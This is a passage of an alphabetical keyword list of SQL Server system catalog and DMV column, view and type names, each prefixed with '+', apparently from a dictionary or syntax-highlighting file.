+full_filesystem_path +full_incremental_population_count +fulltext_catalog_id +fulltext_catalogs +fulltext_document_types +fulltext_index_catalog_usages +fulltext_index_columns +fulltext_indexes +fulltext_index_fragments +fulltext_index_page_count +fulltext_languages +fulltext_semantic_languages +fulltext_semantic_language_statistics_database +fulltext_stoplists +fulltext_stopwords +fulltext_system_stopwords +function_id +function_order_columns +future_allocations_kb +future_interest +gam_page_id +gam_status +gam_status_desc +generated_always_type +generated_always_type_desc +generate_time +generation +generation_id +geography +GeographyCollectionAggregate +GeographyConvexHullAggregate +GeographyEnvelopeAggregate +GeographyUnionAggregate +geometry +GeometryCollectionAggregate +GeometryConvexHullAggregate +GeometryEnvelopeAggregate +GeometryUnionAggregate +ghost_rec_count +ghost_record_count +ghost_version_inrow +ghost_version_offrow +gid +gq_address +granted_memory_kb +granted_query_memory +grantee +GRANTEE +grantee_count +grantee_principal_id +grantor +GRANTOR +grantor_principal_id +grant_time +graph_type +graph_type_desc +group_database_id +group_handle +group_id +groupid +GroupID +group_max_requests +group_name +groupname +groupuid +growth +grpid +guid +GUID +guid_identifier +handle +Handle +handle_context_address +handle_count +handle_id +hardened_recovery_lsn +hardened_root_file_guid +hardened_root_file_watermark +hardened_truncation_lsn +hardware_generation +hasaccess +has_checksum +has_crawl_completed +hasdbaccess +has_default +has_default_value +has_filter +has_ghost_records +hash +hash_bucket_count +hash_column_ordinal +hashed_trans +hash_hits +hash_hit_total_search_length +hash_indexes +hash_key +hash_misses +hash_miss_total_search_length +has_integrity_stream +has_long_running_target +has_nulls +has_opaque_metadata +has_persisted_sample +has_replication_filter +has_restricted_text +has_snapshot +has_unchecked_assembly_data +has_version_records +has_vertipaq_optimization +hbcolid +hdrpartlen +hdrseclen +header_limit +health_check_timeout +HealthCheckTimeout +health_error_message +health_status +heart_beat +hidden_column +hierarchyid +high +high_weight_cache_buffer_count +hints +history +history_retention_period +history_retention_period_unit +history_retention_period_unit_desc +history_table_id +hits_count +hobt_id +hops_remaining +host_address +host_architecture +host_distribution +host_name +hostname +HostName +host_platform +hostprocess +host_process_id +host_release +host_service_pack_level +host_sku +host_task_address +host_to_device_bytes +hr_batch +http_endpoints +hyperthread_ratio +id +ideal_memory_kb +ideal_workers_limit +identity +identity_columns +idle +idle_attempts_count +idle_scheduler_count +idle_sessions +idle_switches_count +idle_time_cs +idle_worker_count +idmajor +idminor +idSch +idtval +ignore_dup_key +image +imageval +impid +importance +iname +inbound_session_key_identifier +incarnation_id +included_columns +incomplete +incomplete_cache_buffer +increment +INCREMENT +incremental_timestamp +increment_value +incurs_seek_penalty +indepclass +indepdb +indepid +indepname +indepschema +indepserver +indepsubid +index_column_id +index_columns +indexdel +index_depth +indexes +index_group_handle +index_handle +index_id +indexid +IndexID +index_level +index_lock_promotion_attempt_count +index_lock_promotion_count +index_resumable_operations +index_scan_count +index_type_desc +indid +inequality_columns +info +information_type +information_type_id +initial_compile_start_time +INITIALLY_DEFERRED +initiator +inline_type +in_progress +input_groupby_row_count +input_name +input_options +in_row_data_page_count +inrow_diff_version_record_count +InRowLength +in_row_reserved_page_count +in_row_used_page_count +inrow_version_record_count +insert_over_ghost_version_inrow +insert_over_ghost_version_offrow +inseskey +inseskeyid +install_failures +instance_id +instance_name +instance_pipe_name +instant_file_initialization_enabled +instrig +instruction_address +int +IntegerData +IntegerData2 +interface +internal_benefit +internal_bit_position +internal_error_code +internal_freed_kb +internal_null_bit +internal_object_reserved_page_count +internal_objects_alloc_page_count +internal_objects_dealloc_page_count +internal_object_type +internal_object_type_desc +internal_offset +internal_pages +internal_partitions +internal_state_desc +internalstatus +internal_storage_slot +internal_tables +internal_type +internal_type_desc +interrupt_cnt +interval_length_minutes +INTERVAL_PRECISION +INTERVAL_TYPE +int_identifier +intprop +intPublicationOptions +in_use_count +io_busy +io_bytes_read +io_bytes_written +io_completion_request_address +io_completion_routine_address +io_completion_worker_address +io_handle +io_handle_path +io_issue_ahead_total_ms +io_issue_delay_non_throttled_total_ms +io_issue_delay_total_ms +io_issue_violations_total +io_offset +io_pending +io_pending_ms_ticks +io_read_bytes +io_read_operations +ios_in_progess +io_stall +IoStallMS +io_stall_queued_read_ms +io_stall_queued_write_ms +io_stall_read_ms +IoStallReadMS +io_stall_write_ms +IoStallWriteMS +io_time_ms +io_type +io_user_data_address +iowait_time_cs +io_wait_time_in_ms +io_write_bytes +io_write_operations +ip_address +ip_configuration_string_from_cluster +ipipename +ip_subnet_mask +irp_id +irq_time_cs +is_abstract +is_accelerated_database_recovery_on +is_accent_sensitivity_on +is_accept +is_activation_enabled +is_active +is_active_for_begin_dialog +is_admin_endpoint +is_advanced +isaliased +is_all_columns_found +is_allocated +is_ambiguous +is_anonymous_enabled +is_anonymous_on +is_ansi_null_default_on +is_ansi_nulls_on +is_ansi_padded +is_ansi_padding_on +is_ansi_warnings_on +is_anti_matter +isapprole +is_arithabort_on +is_assembly_type +is_async_population +is_auto +is_auto_cleanup_on +is_auto_close_on +is_auto_create_stats_incremental_on +is_auto_create_stats_on +is_auto_executed +is_autogrow_all_files +is_auto_shrink_on +is_auto_update_stats_async_on +is_auto_update_stats_on +is_available +is_basic_auth_enabled +is_binary_ordered +is_bound +is_boundedupdate_singleton +is_broker_enabled +is_cached +is_cache_key +is_caller_dependent +is_case_sensitive +is_cdc_enabled +is_cleanly_shutdown +is_clear_port_enabled +is_close_on_commit +is_clouddb_internal_query +is_clustered +is_clustered_index_scan +is_cluster_shared_volume +is_collation_compatible +is_column_permission +is_column_set +is_columnstore +is_commit_participant +is_compressed +is_compression_enabled +is_computed +iscomputed +is_computed_column +is_concat_null_yields_null_on +is_configured +is_conformant +is_contained +is_conversation_error +is_currently_dst +is_current_owner +is_cursor_close_on_commit_on +is_cursor_ref +is_cycling +is_damaged +is_data_access_enabled +is_database_joined +is_data_deletion_filter_column +is_data_retention_enabled +is_data_row_format +is_date_correlation_on +is_date_correlation_view +is_db_chaining_on +is_default +is_default_fixed +is_default_uri +IS_DEFERRABLE +is_delayed_durability +is_descending +is_descending_key +IS_DETERMINISTIC +is_dhcp +is_digest_auth_enabled +is_directory +is_dirty +is_disabled +is_distributed +is_distributed_network_name +is_distributor +is_dropped +is_dts_replicated +is_dynamic +is_dynamic_port +is_edge +is_emergent_mem +is_enabled +is_encrypted +is_encryption_enabled +is_end_of_dialog +is_enforced +is_enlisted +is_enqueue_enabled +is_event_logged +is_executable_action +is_execution_replicated +is_exhausted +is_expiration_checked +is_extension_blocked +is_external +is_failover_ready +is_fatal_exception +is_federation_member +is_fiber +is_filestream +is_filetable +is_filterable +is_final_extension +is_final_list_member +is_final_restriction +is_final_union_member +is_first +is_fixed +is_fixed_length +is_fixed_length_clr_type +is_fixed_role +is_forced_plan +is_free +is_fulltext_enabled +IS_GRANTABLE +is_group +is_hadron_consumed +is_hidden +is_honor_broker_priority_on +is_hypothetical +is_iam_page +is_identity +is_identity_column +is_idle +is_ignored_in_optimization +is_impersonating +IS_IMPLICITLY_INVOCABLE +is_importing +is_in_bpool_extension +is_in_cc_exception +is_included_column +is_incomplete +is_incremental +is_initiator +is_inlineable +is_in_polling_io_completion_routine +is_input +IsInrow +is_insert_all +is_inside_catch +is_installed +is_in_standby +is_instead_of_trigger +is_integrated_auth_enabled +is_internal_query +is_ipv4 +is_kerberos_auth_enabled +is_key +is_known_cdc_tran +is_last +is_linked +is_local +is_local_cursor_default +is_logged_for_replication +islogin +is_log_read_ahead +is_masked +is_master_key_encrypted_by_server +is_media_read_only +is_memory_optimized +is_memory_optimized_elevate_to_snapshot_on +is_memory_optimized_enabled +is_merge_published +is_message_forwarding_enabled +is_migration_paused +is_mixed_extent +is_mixed_page_allocation +is_mixed_page_allocation_on +is_modified +is_ms_shipped +is_name_reserved +is_natively_compiled +is_nested_triggers_on +is_next_candidate +is_nillable +is_node +is_non_sql_subscribed +is_nonsql_subscriber +is_not_for_replication +is_not_trusted +is_not_versioned +isntgroup +is_ntlm_auth_enabled +isntname +isntuser +is_nullable +isnullable +IS_NULLABLE +IS_NULL_CALL +is_numeric_roundabort_on +iso_level +is_online +is_online_index_plan +is_open +is_operator_audit +is_orphaned +isoutparam +is_output +is_padded +is_page_compressed +is_parallel_plan +is_parameterization_forced +is_part_of_encrypted_module +is_part_of_unique_key +is_passive +is_paused +is_pending_secondary_suspend +is_percent_growth +is_persisted +is_persistent_log_buffer +is_pit +is_poison_message_handling_enabled +is_policy_checked +is_preemptive +is_prepared +is_primary_key +is_primary_replica +is_public +is_published +is_publisher +is_pushed +is_qualified +is_query_store_on +is_quoted_identifier_on +is_rda_server +is_read_committed_snapshot_on +is_read_only +is_readonly +is_receive_enabled +is_receive_flow_controlled +is_recompiled +is_reconciled +is_reconfiguration_pending +IsRecordPrefixCompressed +is_recursive_triggers_on +isremote +is_remote_data_archive_enabled +is_remote_login_enabled +is_remote_proc_transaction_promotion_enabled +is_remote_task +is_repeatable +is_repeated_base +is_replay_consumed +is_repl_consumed +is_replicated +is_replication_specific +is_repl_serializable_only +is_restriction_blocked +IS_RESULT +is_result_set_caching_on +is_resumable +is_retention_enabled +is_retry +is_retry_batch +is_revertable_action +is_rollover +is_rowguidcol +is_rowset +is_rpc_out_enabled +is_schema_bound +is_schema_bound_reference +is_schema_published +is_select_all +is_selected +is_send_flow_controlled +is_sent_by_initiator +is_sent_by_target +is_sereplicated +is_session_context_enabled +is_session_enabled +is_shutdown +is_sick +is_signature_valid +is_signed +is_singleton +is_small +is_snapshot +is_source +is_sparse +IsSparse +is_sparse_column_set +is_speculative +is_sql_language_enabled +issqlrole +issqluser +is_ssl_port_enabled +is_stale_page_detection_on +is_state_enabled +is_subscribed +is_subscriber +is_substitution_blocked +issuer +issuer_name +is_supplemental_logging_enabled +is_suspended +is_suspended_sequence_number +IsSymbol +is_synchronized +is_sync_tran_subscribed +is_sync_with_backup +is_system +IsSystem +is_system_named +is_table_type +is_tempdb_spill_to_remote_store +is_temporal_history_retention_enabled +is_temporary +is_track_columns_updated_on +is_tracked_by_cdc +is_tran_consumed +is_transactional +is_transform_noise_words_on +is_trigger_event +is_trivial_plan +is_trustworthy_on +is_txn_owner +is_unique +is_unique_constraint +is_uniqueifier +IS_UPDATABLE +is_updateable +is_updated +is_user_defined +IS_USER_DEFINED_CAST +is_user_process +is_user_transaction +is_value_default +is_visible +is_waiting_on_loader_lock +is_xml_charset_enforced +is_xml_document +is_xquery_max_length_inferred +is_xquery_type_inferred +itemcnt +item_id +item_name +items_processed +job_id +job_tracker_location +join_state +join_state_desc +kernel_nonpaged_pool_kb +kernel_paged_pool_kb +kernel_time +key_algorithm +keycnt +KEY_COLUMN_USAGE +key_constraints +key_encryptions +key_guid +key_id +key_index_id +key_length +key_merge_count +key_merge_retry_count +key_name +keyno +key_ordinal +key_path +keyphrase_index_page_count +keys +key_split_count +key_split_retry_count +key_store_provider_name +key_thumbprint +key_type +keyword +kind +kind_desc +kpid +label +label_id +lang +langid +language +language_id +large_buffer_size +large_page_allocations_kb +largest_event_dropped_size +large_value_types_out_of_row +last_access +last_access_time +last_activated_time +last_active_time +last_activity_time +LAST_ALTERED +last_batch +last_bind_cpu_time +last_bind_duration +last_closed_checkpoint_ts +last_clr_time +last_columnstore_segment_reads +last_columnstore_segment_skips +last_commit_cdc_lsn +last_commit_cdc_time +last_commit_lsn +last_commit_time +last_compile_batch_offset_end +last_compile_batch_offset_start +last_compile_batch_sql_handle +last_compile_duration +last_compile_memory_kb +last_compile_start_time +last_connect_error_description +last_connect_error_number +last_connect_error_timestamp +last_cpu_time +last_dop +last_duration +last_elapsed_time +last_empty_rowset_time +last_end_lsn +last_error +last_event_time +last_execution_time +last_force_failure_reason +last_force_failure_reason_desc +last_grant_kb +last_hardened_lsn +last_hardened_time +last_id +last_ideal_grant_kb +last_log_backup_lsn +last_log_block_id +last_log_bytes_used +last_logical_io_reads +last_logical_io_writes +last_logical_reads +last_logical_writes +last_lsn +last_lsn_processed +last_max_dop_used +last_modified +last_modified_date +last_notification +last_num_page_server_reads +last_num_physical_io_reads +last_num_physical_reads +lastoorder +lastoorderfr +last_operation +last_optimize_cpu_time +last_optimize_duration +last_out_of_order_frag +last_out_of_order_sequence +last_page_server_io_reads +last_page_server_reads +last_parameterization_failure_reason +last_parse_cpu_time +last_parse_duration +last_pause_time +last_physical_io_reads +last_physical_reads +lastpkeybackup +last_query_hint_failure_reason +last_query_hint_failure_reason_desc +last_query_max_used_memory +last_query_wait_time_ms +last_read +lastreads +last_received_lsn +last_received_time +last_recovery_fork_guid +last_redone_lsn +last_redone_time +last_refresh +last_request_end_time +last_request_start_time +last_reserved_threads +last_round_start_time +last_rowcount +last_rows +last_row_time +lastrun +last_run_date +last_run_duration +last_run_outcome +last_run_retries +last_run_time +last_segment_lsn +last_send_tran_id +last_sent_lsn +last_sent_time +last_service_ticks +last_spills +last_sql_handle +last_startup_time +last_statement_end_offset +last_statement_sql_handle +last_statement_start_offset +last_successful_logon +last_system_lookup +last_system_scan +last_system_seek +last_system_update +last_tempdb_space_used +last_tick_time +lasttime +last_timer_activity +last_transaction_sequence_num +last_unsuccessful_logon +last_updated +last_updated_checkpoint_id +lastupdatelsn +last_update_time +last_used_grant_kb +last_used_threads +last_used_value +last_user_lookup +last_user_scan +last_user_seek +last_user_update +last_valid_restore_time +last_value +last_wait_type +lastwaittype +last_worker_time +last_write +lastwrites +last_write_time +latch_class +latency +lazy_schema_validation +lazyschemavalidation +lcid +leaf_allocation_count +leaf_bit_position +leaf_delete_count +leaf_ghost_count +leaf_insert_count +leaf_null_bit +leaf_offset +leaf_page_merge_count +leaf_pages +leaf_update_count +ledger_type +ledger_type_desc +ledger_view_id +ledger_view_type +ledger_view_type_desc +left_boundary +length +level +level_1_grid +level_1_grid_desc +level_2_grid +level_2_grid_desc +level_3_grid +level_3_grid_desc +level_4_grid +level_4_grid_desc +lgfgid +lgnid +lifetime +line_num +LineNumber +linked_logins +LinkedServerName +listener_id +lname +loadavg_1min +load_factor +load_time +lob_data_space_id +lobds +lob_fetch_in_bytes +lob_fetch_in_pages +lob_logical_read_count +lob_orphan_create_count +lob_orphan_insert_count +lob_page_server_read_ahead_count +lob_page_server_read_count +lob_physical_read_count +lob_read_ahead_count +lob_reserved_page_count +lob_used_page_count +local_database_id +local_database_name +locale +local_net_address +local_node +local_physical_seeding_id +local_principal_id +local_service_id +local_tcp_port +location +location_type +locked_page_allocations_kb +lock_escalation +lock_escalation_desc +lockflags +lock_on_bulk_load +lock_owner_address +lock_requestor_id +lockres +lock_timeout +lock_type +log_backup_lsn +log_backup_time +LogBlockGeneration +log_block_id +log_bytes_required +log_bytes_since_last_close +log_bytes_written +log_checkpoint_lsn +log_consumer_count +log_consumer_deleting +log_consumer_id_seed +log_consumer_ref_counter +log_consumption_deactivated +log_consumption_rate +log_end_lsn +log_filegroup_id +log_file_name +log_file_path +logical_database_id +logical_db_name +logical_device_name +logical_name +logical_operator +logical_path +logical_read_count +logical_reads +logical_row_count +logical_volume_name +log_id +loginame +login_id +login_name +loginname +LoginName +login_sid +loginsid +LoginSid +login_state +login_state_desc +login_time +login_token +login_type +log_IO_count +log_min_lsn +log_name +logpoolmgr_count +logpoolmgr_deleting +logpoolmgr_ref_counter +log_record_count +log_recovery_lsn +log_recovery_size_mb +log_reuse_wait +log_reuse_wait_desc +log_send_queue_size +log_send_rate +logshippingid +log_since_last_checkpoint_mb +log_since_last_log_backup_mb +log_source +log_space_in_bytes_since_last_backup +log_state +log_text +log_truncation_holdup_reason +lookaside_id +lost_events_count +low +lower_bound_tsn +low_mem_signal_threshold_mb +low_water_mark_for_ghosts +low_weight_cache_buffer_count +lsid +lsn +lstart +magnitude +major_id +major_num +major_version +manager_id +manager_role +manual_population_count +manufacturer +map_key +mapping_id +map_progress +map_value +masked_columns +masking_function +master_files +master_key_passwords +MATCH_OPTION +max_buffer_limit +max_chain_length +max_cleanup_version +max_clr_time +max_cmds_in_tran +max_column_id_used +max_columnstore_segment_reads +max_columnstore_segment_skips +max_compile_memory_kb +maxconn +max_count +max_cpu_percent +max_cpu_time +max_csn +max_data_id +max_deep_data +max_dispatch_latency +max_dop +max_duration +MAX_DYNAMIC_RESULT_SETS +max_elapsed_time +max_event_size +maxexectime +max_files +max_file_size +max_free_entries_count +max_grant_kb +max_ideal_grant_kb +maximum +MAXIMUM_CARDINALITY +maximum_queue_depth +maximum_value +MAXIMUM_VALUE +maxinrow +maxinrowlen +max_inrow_length +maxint +max_internal_length +max_iops_per_volume +maxirow +maxleaf +max_leaf_length +maxlen +max_length +max_log_bytes_used +max_logical_io_reads +max_logical_io_writes +max_logical_reads +max_logical_writes +max_memory +max_memory_kb +max_memory_percent +maxnullbit +max_null_bit_used +max_num_page_server_reads +max_num_physical_io_reads +max_num_physical_reads +maxoccur +max_occurences +max_outstanding_io_per_volume +max_overlap +max_page_server_io_reads +max_page_server_reads +max_pages_in_bytes +max_physical_io_reads +max_physical_reads +max_plans_per_query +max_processes +max_quantum +max_query_max_used_memory +max_query_wait_time_ms +max_readers +max_record_size_in_bytes +max_request_cpu_time_ms +max_request_grant_memory_kb +max_reserved_threads +max_rollover_files +max_rowcount +max_rows +max_size +maxsize +max_sizeclass +max_spills +max_storage_size_mb +max_target_memory_kb +max_tempdb_space_used +max_thread +max_thread_proxies +max_time +max_used_grant_kb +max_used_memory_kb +max_used_threads +max_used_worker_count +max_version_chain_traversed +max_wait_time +max_wait_time_ms +max_worker_count +max_workers_count +max_worker_threads +max_worker_time +mdversion +media_family_id +media_sequence_number +media_set_guid +media_set_name +member_name +member_principal_id +member_state +member_state_desc +member_type +member_type_desc +memberuid +memgrant_waiter_count +memory_address +memory_allocated_for_indexes_kb +memory_allocated_for_table_kb +memory_allocation_address +memory_broker_type +memory_clerk_address +memory_consumer_address +memory_consumer_desc +memory_consumer_id +memory_consumer_type +memory_consumer_type_desc +memory_limit_mb +memory_node_id +memory_object_address +memory_optimized_tables_internal_attributes +memory_partition_mode +memory_partition_mode_desc +memory_pool_address +memory_usage +memory_used_by_indexes_kb +memory_used_by_table_kb +memory_used_in_bytes +memory_utilization_percentage +memregion_memory_address +mem_status +mem_status_stamp +memusage +merge_action_type +merge_outstanding_merges +merge_stats_bytes_merged +merge_stats_kernel_time +merge_stats_log_blocks_merged +merge_stats_number_of_merges +merge_stats_user_time +message +message_body +message_enqueue_time +message_forwarding_size +message_fragment_number +message_id +messages +message_sequence_number +message_type_id +message_type_name +message_type_xml_schema_collection_usages +metadata_offset +metadata_size +method_alias +MethodName +migrated_rows +migration_direction +migration_direction_desc +min_active_bsn +min_buffer_limit +min_clr_time +min_columnstore_segment_reads +min_columnstore_segment_skips +min_cpu_percent +min_cpu_time +min_data_id +min_deep_data +min_dop +min_duration +min_elapsed_time +min_grant_kb +min_ideal_grant_kb +minimum +minimum_value +MINIMUM_VALUE +minint +min_internal_length +min_iops_per_volume +minleaf +min_leaf_length +min_len +minlen +min_length_in_bytes +min_log_bytes_used +min_logical_io_reads +min_logical_io_writes +min_logical_reads +min_logical_writes +min_memory_percent +min_num_page_server_reads +min_num_physical_io_reads +min_num_physical_reads +minoccur +min_occurences +minor_id +minor_num +minor_version +min_page_server_io_reads +min_page_server_reads +min_percentage_resource +min_physical_io_reads +min_physical_reads +min_query_max_used_memory +min_query_wait_time_ms +min_record_size_in_bytes +min_reserved_threads +min_rowcount +min_rows +min_sizeclass +min_spills +min_tempdb_space_used +min_time +min_transaction_timestamp +min_used_grant_kb +min_used_threads +min_valid_version +min_worker_time +min_xact_begin_age +miraddr +mirror_address +mirroring_connection_timeout +mirroring_end_of_log_lsn +mirroring_failover_lsn +mirroring_guid +mirroring_partner_instance +mirroring_partner_name +mirroring_redo_queue +mirroring_redo_queue_type +mirroring_replication_lsn +mirroring_role +mirroring_role_desc +mirroring_role_sequence +mirroring_safety_level +mirroring_safety_level_desc +mirroring_safety_sequence +mirroring_state +mirroring_state_desc +mirroring_witness_name +mirroring_witness_state +mirroring_witness_state_desc +mirror_server_name +misses_count +mixed_extent_page_count +ml_map_page_id +ml_status +ml_status_desc +modate +mode +Mode +model +modification_counter +modification_time +modified +modified_count +modified_extent_page_count +modify_date +modify_time +module +module_address +module_assembly_usages +MODULE_CATALOG +module_guid +MODULE_NAME +MODULE_SCHEMA +money +months +most_recent_session_id +most_recent_sql_handle +mount_expiration_time +mount_request_time +mount_request_type +mount_request_type_desc +movement_key +movement_type +movement_type_desc +msgbody +msgbodylen +msgenc +msgid +msglangid +msgnum +msgref +msgseqnum +msgtype +msqlxact_address +MSreplication_options +ms_ticks +must_be_qualified +name +nameid +namespace +namespace_document_id +nchar +nest_aborted +nested_id +nest_level +NestLevel +net_address +net_library +net_packet_size +net_transport +network_subnet_ip +network_subnet_ipv4_mask +network_subnet_prefix_length +NewAllocUnitId +new_log_interesting +new_log_wait_time_in_ms +newrow_data +newrow_datasize +newrow_identity +nextdocid +next_fragment +next_page_file_id +next_page_page_id +next_read_ahead_lsn +next_sibling +nice_time_cs +nid +nmscope +nmspace +node_affinity +node_id +node_name +NodeName +node_state_desc +nonleaf_allocation_count +nonleaf_delete_count +nonleaf_insert_count +nonleaf_page_merge_count +nonleaf_update_count +non_sos_mem_gap_mb +nonsqlsub +non_transacted_access +non_transacted_access_desc +no_recompute +notify_level_eventlog +nsclass +nsid +nt_domain +NTDomainName +ntext +nt_user_name +nt_username +NTUserName +nullbit +null_on_null_input +null_value +null_values +numa_node +numa_node_count +number +numbered_procedure_parameters +numbered_procedures +number_of_attempts +number_of_quorum_votes +NumberReads +NumberWrites +num_capture_threads +numcol +num_databases +numeric +NUMERIC_PRECISION +NUMERIC_PRECISION_RADIX +NUMERIC_SCALE +num_hadr_threads +num_of_bytes_read +num_of_bytes_written +num_of_reads +num_of_writes +num_openxml_calls +num_parallel_redo_threads +numpart +num_pk_cols +num_reads +num_redo_threads +num_writes +nvarchar +object_address +object_id +objectid +ObjectID +object_id1 +object_id2 +ObjectID2 +object_id3 +object_id4 +object_load_time +object_name +ObjectName +object_package_guid +object_ref_count +objects +object_type +ObjectType +object_type_desc +objid +objname +objtype +occurrence +occurrence_count +occurrences +offline_age +offrow_long_term_version_record_count +offrow_regular_version_record_count +offrow_version_cleaner_end_time +offrow_version_cleaner_start_time +offset +Offset +oldest_aborted_transaction_id +oldest_active_lsn +oldest_active_transaction_id +oldrow_begin_timestamp +oldrow_identity +oldrow_key_data +oldrow_key_datasize +on_disk_size +on_fail_action +on_fail_step_id +on_failure +on_failure_desc +online_index_min_transaction_timestamp +online_index_version_store_size_kb +online_scheduler_count +online_scheduler_mask +on_success_action +on_success_step_id +opened_date +opened_file_name +openkeys +open_resultset_count +open_status +openTape +open_time +open_tran +open_transaction_count +operation +Operation +operational_state +operational_state_desc +operation_desc +operation_id +operation_name +operation_type +operator_id_emailed +operator_id_paged +op_history +optimize_for_sequential_key +optimizer_hint +optname +ord +order_by_is_descending +order_by_list_length +order_column_id +order_direction +order_position +ordinal +ordinal_in_order_by_list +ordinal_position +ORDINAL_POSITION +ordkey +ordlock +orig_db +orig_db_len_in_bytes +OrigFillFactor +original_cost +original_document_size_bytes +original_login_name +original_namespace_document_size_bytes +original_security_id +originator +originator_len_in_bytes +ORMask +os_error_mode +os_language_version +os_priority_class +OS_process_creation_date +OS_process_id +os_quantum +os_run_priority +os_thread_id +outbound_session_key_identifier +outcome +out_of_memory_count +output_file_name +output_options +outseskey +outseskeyid +outstanding_batch_count +outstanding_checkpoint_count +outstanding_read +outstanding_retired_nodes +overall_limit_kb +overall_quality +ownerid +OwnerID +OwnerName +owner_sid +ownertype +owning_principal_id +owning_principal_name +owning_principal_sid +owning_principal_sid_binary +package +package_guid +package_name +pack_errors +pack_received +pack_sent +page_allocator_address +page_class +page_compression_attempt_count +page_compression_success_count +page_consolidation_count +page_consolidation_retry_count +page_count +page_fault_count +page_file_bytes +page_file_bytes_peak +page_flag_bits +page_flag_bits_desc +page_free_space_percent +page_header_version +page_id +page_io_latch_wait_count +page_io_latch_wait_in_ms +page_latch_wait_count +page_latch_wait_in_ms +page_level +page_lock_count +page_lock_wait_count +page_lock_wait_in_ms +page_lsn +page_merge_count +page_merge_retry_count +page_resource +page_server_read_ahead_count +page_server_read_count +page_server_reads +pages_in_bytes +pages_in_use_kb +page_size_in_bytes +pages_kb +page_split_count +page_split_retry_count +page_status +pagesused +page_type +page_type_desc +page_type_flag_bits +page_type_flag_bits_desc +page_update_count +page_update_retry_count +page_verify_option +page_verify_option_desc +parallel_assist_count +parallel_worker_count +parameter_id +parameterization_failure_count +PARAMETER_MODE +PARAMETER_NAME +parameters +PARAMETERS +PARAMETER_STYLE +parameter_type_usages +parameter_xml_schema_collection_usages +param_id +param_int_value +paramorhinttext +param_str_value +param_type +parent_address +parent_class +parent_class_desc +parent_column_id +parent_connection_id +parent_covering_permission_name +parent_directory +parent_directory_exists +parent_id +parent_memory_address +parent_memory_broker_type +parent_minor_id +ParentName +parent_node_id +parent_obj +parent_object_id +parent_plan_handle +parent_requestor_id +parent_task_address +parent_type +parser_version +partid +partition_column_guid +partition_column_id +partition_column_ordinal +partition_count +partition_functions +partition_id +PartitionId +partition_number +partition_ordinal +partition_parameters +partition_range_values +partitions +partition_scheme_id +partition_schemes +partition_type +partition_type_desc +part_key_name +part_key_val +partner_sync_state +partner_sync_state_desc +password +password_hash +patched +path +path_id +path_name +path_type +path_type_desc +pcdata +pcitee +pclass +pcreserved +pcused +pdw_node_id +peak_job_memory_used_mb +peak_memory_kb +peak_process_memory_used_mb +peer_arbitration_id +peer_certificate_id +pending_buffers +pending_disk_io_count +pending_io_byte_average +pending_io_byte_count +pending_io_count +percent_complete +percent_used +perf +performance_counters_address +performed_seeding +periodic_freed_kb +periods +period_type +period_type_desc +permanent_task_affinity_mask +permission_bitmask +permission_name +Permissions +permission_set +permission_set_desc +persisted_age +persisted_sample_percent +persistence_status +persistent_only +persistent_version_store +persistent_version_store_long_term +persistent_version_store_size_kb +pfs_alloc_percent +pfs_is_allocated +pfs_page_id +pfs_status +pfs_status_desc +pgfirst +pgfirstiam +pgmodctr +pgroot +phantom_expired_removed_rows_encountered +phantom_expired_rows_removed +phantom_expiring_rows_encountered +phantom_rows_expired +phantom_rows_expired_removed +phantom_rows_expiring +phantom_rows_touched +phantom_scans_retries +phantom_scans_started +phase_number +phfgid +phrase_id +phyname +physical_database_name +physical_device_name +physical_io +physical_memory_in_use_kb +physical_memory_kb +physical_name +physical_operator_name +physical_path +physical_read_count +pid +pit_db_name +pit_key +pkey +placedid +placed_xml_component_id +placement_id +placingid +plan_flags +plan_forcing_type +plan_forcing_type_desc +plan_generation_num +plan_group_id +plan_guide_id +plan_guides +plan_handle +PlanHandle +plan_id +plan_node_id +plan_persist_context_settings +plan_persist_plan +plan_persist_query +plan_persist_query_hints +plan_persist_query_template_parameterization +plan_persist_query_text +plan_persist_runtime_stats +plan_persist_runtime_stats_interval +plan_persist_wait_stats +platform +platform_desc +pname +polaris_executed_requests_history +polaris_executed_requests_text +polaris_file_statistics +pool_id +pool_paged_bytes +pool_version +population_type +population_type_description +port +port1 +port2 +port_no +position +prec +precision +predicate +predicate_definition +predicate_type +predicate_type_desc +predicate_xml +predicted_allocations_kb +preemptive_switches_count +prefix +PrefixBytes +prepare_elapsed_time +prepare_lsn +prerelease +prev_error +previous_block_hash +previous_page_file_id +previous_page_page_id +previous_status +previous_status_description +previous_value +prev_page_file_id +prev_page_page_id +prev_row_in_chain +primary_dictionary_id +primary_recovery_health +primary_recovery_health_desc +primary_replica +primary_role_allow_connections +primary_role_allow_connections_desc +princid +principal_id +principal_name +principal_server_name +printfmt +priority +priority_id +priority_score +private_build +private_bytes +private_pages +private_pool_hits +private_pool_hit_search_length +private_pool_hits_RA +private_pool_hits_search_length_RA +private_pool_last_access_point +private_pool_last_RA_access_point +private_pool_misses +private_pool_misses_RA +private_pool_miss_search_length +private_pool_miss_search_length_RA +private_pool_pages +private_pool_size +privileged_time +PRIVILEGE_TYPE +probability_of_reuse +procedure_name +procedure_number +procedures +processadmin +process_content +process_content_desc +process_cpu_usage +processed_row_count +process_id +process_kernel_time_ms +process_memory_limit_mb +process_name +processor_group +processor_time +process_physical_affinity +process_physical_memory_low +process_user_time_ms +process_virtual_memory_low +proc_ioblocked_cnt +proc_runable_cnt +producer_id +producer_type +product +product_version +prog_id +program_name +progress +progress_category +promise_avg +promised +promise_total +properties +property +property_description +property_id +property_int_id +property_list_id +property_name +property_set_guid +property_value +protecttype +protocol +protocol_desc +protocol_type +protocol_version +provider +provider_id +providername +ProviderName +provider_string +providerstring +provider_type +provider_version +proxy_id +pruid +psrv +pstat +pub +public_key +pukey +pushdown +push_enabled +pvs_filegroup_id +pvs_off_row_page_skipped_low_water_mark +pvs_off_row_page_skipped_min_useful_xts +pvs_off_row_page_skipped_oldest_active_xdesid +pvs_off_row_page_skipped_oldest_snapshot +pvs_off_row_page_skipped_transaction_not_cleaned +pvt_key_encryption_type +pvt_key_encryption_type_desc +pvt_key_last_backup_date +pwdhash +qe_cc_address +qid +qual +quality +quantum_length_us +quantum_used +query_capture_mode +query_capture_mode_desc +query_context_settings +query_cost +query_count +query_driver_address +query_execution_timeout_sec +query_flags +query_hash +query_hint_failure_count +query_hint_id +query_hints +query_hints_flags +query_hint_text +query_id +query_info +QueryNotificationErrorsQueue +query_parameterization_type +query_parameterization_type_desc +query_param_type +query_plan +query_plan_hash +queryscan_address +query_sql_text +query_store_plan +query_store_query +query_store_query_hints +query_store_query_text +query_store_runtime_stats +query_store_runtime_stats_interval +query_store_wait_stats +query_template +query_template_flags +query_template_hash +query_template_id +query_text +query_text_id +query_time +query_timeout +querytimeout +query_wait_timeout_sec +queue_delay +queued_loads +queued_population_type 